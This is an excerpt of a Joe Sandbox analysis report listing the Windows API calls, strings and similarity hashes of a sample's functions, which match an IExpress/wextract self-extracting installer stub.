Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00352F64,?,00000002,00000000), ref: 00353A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00353AB3

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Part of subcall function 00356285: GetLastError.KERNEL32(00355BBC), ref: 00356285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00353AD0
LocalFree.KERNEL32 ref: 00353B13

Part of subcall function 00356517: FindResourceA.KERNEL32(00350000,000007D6,00000005), ref: 0035652A
Part of subcall function 00356517: LoadResource.KERNEL32(00350000,00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00356538
Part of subcall function 00356517: DialogBoxIndirectParamA.USER32(00350000,00000000,00000547,003519E0,00000000), ref: 00356557
Part of subcall function 00356517: FreeResource.KERNEL32(00000000,?,?,00352EE8,00000000,003519E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00356560

LocalFree.KERNEL32(00000000,00353100,00000000,00000000), ref: 00353AF4

Strings

<None>, xrefs: 00353AC5
LICENSE, xrefs: 00353A46

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 1eec8a1f3ad142ae06edec1fbf25b4f0382da0fb84034715b03683c012fc4d4c
Instruction ID: 2e9bffc10674abe18c47eb1a08e13b174c5d53e4b6f49f8d3bb85f5cc8536e98
Opcode Fuzzy Hash: 1eec8a1f3ad142ae06edec1fbf25b4f0382da0fb84034715b03683c012fc4d4c
Instruction Fuzzy Hash: 8D11B470200701ABD727AB329C09F177AFDDBD5743F10452EBE41EA5F1DAB989089660

Function 003552B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(02A846C8,00000080,?,00000000), ref: 003552F2
DeleteFileA.KERNELBASE(02A846C8), ref: 003552FA
LocalFree.KERNEL32(02A846C8,?,00000000), ref: 00355305
LocalFree.KERNEL32(02A846C8), ref: 0035530C
SetCurrentDirectoryA.KERNELBASE(003511FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00355363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00355334

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-2356899610
Opcode ID: bdb0e2bd8871a60228242ccaaa975c71c7817f8e7e8b2fd8ea5ccfbff34116ac
Instruction ID: d359e428bdc72e42bcb7cc6f7169d905005caa33badbe3653ca66e30edadadbc
Opcode Fuzzy Hash: bdb0e2bd8871a60228242ccaaa975c71c7817f8e7e8b2fd8ea5ccfbff34116ac
Instruction Fuzzy Hash: F2219D35521B14DFDB239B20EC19F6977B8AB04753F45025AEC8A671B0DBB06D8CCB90

Function 00351FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0035538C,?,?,0035538C), ref: 00352005
RegDeleteValueA.KERNELBASE(0035538C,wextract_cleanup1,?,?,0035538C), ref: 00352017
RegCloseKey.ADVAPI32(0035538C,?,?,0035538C), ref: 00352020

Strings

wextract_cleanup1, xrefs: 00351FE7, 0035200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00351FFB

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: 8e9a9baec966bb08f8eb9b4f4ab49d9d532d844c83a5f91bc991cf2ee8e5c7a0
Instruction ID: 15b29e9a3004a24b0382263c05a184f8afef05d84c9069bfd0a0a7f7f64cd935
Opcode Fuzzy Hash: 8e9a9baec966bb08f8eb9b4f4ab49d9d532d844c83a5f91bc991cf2ee8e5c7a0
Instruction Fuzzy Hash: A8E04F30561318BBDB238F90EC0AF5A7B2DF701743F100295FE04B20F0EB619A18E605

Function 00354169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546A0
Part of subcall function 0035468F: SizeofResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546A9
Part of subcall function 0035468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003546C3
Part of subcall function 0035468F: LoadResource.KERNEL32(00000000,00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546CC
Part of subcall function 0035468F: LockResource.KERNEL32(00000000,?,00352D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003546D3
Part of subcall function 0035468F: memcpy_s.MSVCRT ref: 003546E5
Part of subcall function 0035468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003546EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,003530B4), ref: 00354189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,003530B4), ref: 003541E7

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Strings

FINISHMSG, xrefs: 00354173, 003541AB
<None>, xrefs: 003541C5

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 3a87ffe1645a29feaf426c1ee7bd1d5b452be5e248467b78d747bd285f4310a4
Instruction ID: 6e01f98c91eb26107a06c3562e9a7c15ff81f7fe23d2d8a209346a63568ac2b0
Opcode Fuzzy Hash: 3a87ffe1645a29feaf426c1ee7bd1d5b452be5e248467b78d747bd285f4310a4
Instruction Fuzzy Hash: BA0121B5300A143BF32B16264C86F7B258EDBC478FF014025BF01E62F08A68CD8841B5

Function 00354CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00354DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00354DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00354D36, 00354DE3

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-2356899610
Opcode ID: dc995e49fcdef60c17a5b83e01096e57098668bf07e7f012298d48ba36ed080f
Instruction ID: 796867823d749500890e04c666c1260811436e07f284c9ed2ce8771e97d8a705
Opcode Fuzzy Hash: dc995e49fcdef60c17a5b83e01096e57098668bf07e7f012298d48ba36ed080f
Instruction Fuzzy Hash: FC4128362002019BCB2F8F28DC44EB573F9AB4530AF054669DC86975B6EA31DECEC790

Function 00354C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00354C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00354C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00354C7E

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 565232ce2c2134ae7fe8a64e051775bb94ebe4a4164cd427bb52b7bbabb970b5
Instruction ID: bf78825adeca7e0f46a8ccebb2ab936ea8e6adcc19fa5ab89e0f44282e7cd1b1
Opcode Fuzzy Hash: 565232ce2c2134ae7fe8a64e051775bb94ebe4a4164cd427bb52b7bbabb970b5
Instruction Fuzzy Hash: 1FF0967250160C7F9B1ADFB5CC48DBB77FCEB44346B44052AB915D2070EA30D958D7A0

Function 0035487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00354A23,?,00354F67,*MEMCAB,00008000,00000180), ref: 003548DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00354F67,*MEMCAB,00008000,00000180), ref: 00354902

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9196428532c6653734a03fdc77bd5e613de524938a26bac56e3341351d88f1e6
Instruction ID: d346bce2b8c1c34c8963a1c4b031272d1be185c8461a77d58774501efd0a26c8
Opcode Fuzzy Hash: 9196428532c6653734a03fdc77bd5e613de524938a26bac56e3341351d88f1e6
Instruction Fuzzy Hash: D501ADA3E11A3026F32A40294C89FF7551CDBD673AF1B0330BDEAEB1E1D6645C4891E0

Function 00354AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00353680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0035369F
Part of subcall function 00353680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003536B2
Part of subcall function 00353680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003536DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00354B05

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 336febc52d9bc99633fce6ac0c4b225a6952be0c4cf17305d87dc4903f7a752b
Instruction ID: cdfe8a71d6cf868a0eeeb1b2ec651d411a5795d5bfc5d0ddc841e290e12022fd
Opcode Fuzzy Hash: 336febc52d9bc99633fce6ac0c4b225a6952be0c4cf17305d87dc4903f7a752b
Instruction Fuzzy Hash: 2701AD71200304ABDB0A8F18DC05FA2779CA74472BF158625E939AB1F0DB30C855CB40

Function 0035658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00358B3E,00358B3F,00000001,00358B3E,-00000003,?,003560EC,00351140,?), ref: 003565BA

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 8563e66eefaf6da6f6f0b818996bc7856948b1959524dca2d6e767f06cb553fc
Instruction ID: 97ddd2db884b830fd059404d749403e8adb4a0fc57b2b335269eb084c32d9bf0
Opcode Fuzzy Hash: 8563e66eefaf6da6f6f0b818996bc7856948b1959524dca2d6e767f06cb553fc
Instruction Fuzzy Hash: 08F0A2321042505BD333050D9884F67BFDD9B87352F55095EECDAC3235EA554D0D83A0

Function 0035621E Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0035623F

Part of subcall function 003544B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00354518
Part of subcall function 003544B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00354554

Part of subcall function 00356285: GetLastError.KERNEL32(00355BBC), ref: 00356285

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 4a42a73335425403d6cfbf4316caea1a5aa8ba5ab18ed9df239495e098d63d76
Instruction ID: 58598c5789eb7096ad797d061e1194fc86978a4555c070e5862a5844f7c9ab3f
Opcode Fuzzy Hash: 4a42a73335425403d6cfbf4316caea1a5aa8ba5ab18ed9df239495e098d63d76
Instruction Fuzzy Hash: ACF054B0644308ABDB92EB749D07FBE76BCDB54702F80046AAD85DB1A1DD749D488650

Function 003566AE Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00354777,?,00354E38,?), ref: 003566B1

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0c6fcbbaed2d529d9222da2a9214f6aae9e106da119faa72705c940ea2368d6b
Instruction ID: e4c7000ba012e9e779fc5e41c428a9439730fc399560a34ea98ab690764000d5
Opcode Fuzzy Hash: 0c6fcbbaed2d529d9222da2a9214f6aae9e106da119faa72705c940ea2368d6b
Instruction Fuzzy Hash: 74B09276232941426A2206316C2A95A2845A6C133BBE51B94F032C22F0CA3EC84AE004

Function 00354B60 Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(B62FFE1E,00000000,00000000,?,00354FA1,00000000), ref: 00354B98

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 62e25816d7a167ac988802582684f2e88d5f6534b365f8b869154de18c749b1d
Instruction ID: 25d6c728b30aecf410c84090606a16389f0a7e34f545f872940fe3553059324a
Opcode Fuzzy Hash: 62e25816d7a167ac988802582684f2e88d5f6534b365f8b869154de18c749b1d
Instruction Fuzzy Hash: C5F01931500B089E47779F3BCC11A52BFF8AA95363310092EA8AEE21F0DB309466DBD0

Function 00354CA0 Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00354CAA

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: cc84e6f120c21e740f0e2ee64b3b3a8de5bb42acf08bdb2219e9376cd767818c
Instruction ID: a19fb56f85918e9dc538a7bc8d245eb6f97671e7fb643fff5bfa21950b40ac50
Opcode Fuzzy Hash: cc84e6f120c21e740f0e2ee64b3b3a8de5bb42acf08bdb2219e9376cd767818c
Instruction Fuzzy Hash: A1B0123204430CB7CF011FC2EC09F863F1DE7C4762F140000F60C460A08A7294109696

Function 00354CC0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 00354CC8

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: c74cf5155dd9bab95866c57d3a814e69df85d8e1109de43715b2c138769ff138
Instruction ID: 89a5ace8c74a60df6c5ba92f3c243700937e62de8b603e55df39374dca5b7a42
Opcode Fuzzy Hash: c74cf5155dd9bab95866c57d3a814e69df85d8e1109de43715b2c138769ff138
Instruction Fuzzy Hash: FEB0123100020CB78F011B42EC088453F1DD6C0361B000010F60C420318B3398119585

Non-executed Functions

Function 00355C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00355CEE
GetModuleFileNameA.KERNEL32(00358B3E,00000104,00000000,?,?), ref: 00355DFC
CharUpperA.USER32(?), ref: 00355E3E
CharUpperA.USER32(-00000052), ref: 00355EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00355F6F
CharUpperA.USER32(?), ref: 00355FA7
CharUpperA.USER32(-0000004E), ref: 00356008
CharUpperA.USER32(?), ref: 003560AA
CloseHandle.KERNEL32(00000000,00351140,00000000,00000040,00000000), ref: 003561F1
ExitProcess.KERNEL32 ref: 003561F8

Strings

", xrefs: 0035612D
", xrefs: 00355D78
:, xrefs: 00356118
RegServer, xrefs: 00355F66

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: ce76614a052a1bfbd0409e65f7c84a0f9fea4518a30dc9b81af9cb75585f16d4
Instruction ID: d130f888194ff9a3daae54dbdeba8b12401bd4c0b869f5527348306a58f51765
Opcode Fuzzy Hash: ce76614a052a1bfbd0409e65f7c84a0f9fea4518a30dc9b81af9cb75585f16d4
Instruction Fuzzy Hash: 78D14B71A08E449ADF378B388C6AFF977B99715303F5501A5CC86D75B0DA70AE8E8B40

Function 00351F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00351EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00351F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00351FD3

Strings

SeShutdownPrivilege, xrefs: 00351F28

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 4c7363b560d8a037ebeed5beaf9082ae6b331c6763f7803717b1bd6f5f77aa14
Instruction ID: 4657a8b700a9c1fdd9c0cf47b0e223713d979eb6f6eabfc2856a9ad11ae761de
Opcode Fuzzy Hash: 4c7363b560d8a037ebeed5beaf9082ae6b331c6763f7803717b1bd6f5f77aa14
Instruction Fuzzy Hash: E821D871A407056BDB225BA19C4AFBF7BBCEB85B13F110219FE02D61F0D7748849A261

Function 00356CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00356E26,00351000), ref: 00356CF7
UnhandledExceptionFilter.KERNEL32(&n5,?,00356E26,00351000), ref: 00356D00
GetCurrentProcess.KERNEL32(C0000409,?,00356E26,00351000), ref: 00356D0B
TerminateProcess.KERNEL32(00000000,?,00356E26,00351000), ref: 00356D12

Strings

&n5, xrefs: 00356CFD

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868471753.0000000000358000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2868516081.000000000035C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_350000_j1C74.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID: &n5
API String ID: 3231755760-1850499402
Opcode ID: 954dfdde9cbfa630383b673bef4c1dc6fda8b95279a1a3ea4b8f681feac51c22
Instruction ID: 04dd58ac4f8bdf3946aff6ef734a86ccb3817d55b391af1f9b200680b4f719fe
Opcode Fuzzy Hash: 954dfdde9cbfa630383b673bef4c1dc6fda8b95279a1a3ea4b8f681feac51c22
Instruction Fuzzy Hash: A4D0C932004F08BBDB022BF1EC0CA593F2CEB48313F444100F31A82030CA325651AB52

Function 00353210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32(000003E8,00358598,00000200), ref: 00353271
GetDesktopWindow.USER32 ref: 003533E2
SetWindowTextA.USER32(?,valid), ref: 003533F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00353410
GetDlgItem.USER32(?,00000836), ref: 00353426
EnableWindow.USER32(00000000), ref: 0035342D
EndDialog.USER32(?,00000000), ref: 0035343F

Strings

valid, xrefs: 003533F1
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003532E2, 003532E7, 00353331, 00353344, 0035335B, 0035336A

Memory Dump Source

Source File: 00000001.00000002.2868359155.0000000000351000.00000020.00000001.01000000.00000004.sdmp, Offset: 00350000, based on PE: true

Associated: 00000001.00000002.2868036544.0000000000350000.00000002.00000001.01000000.00000004.sdmpDownload File
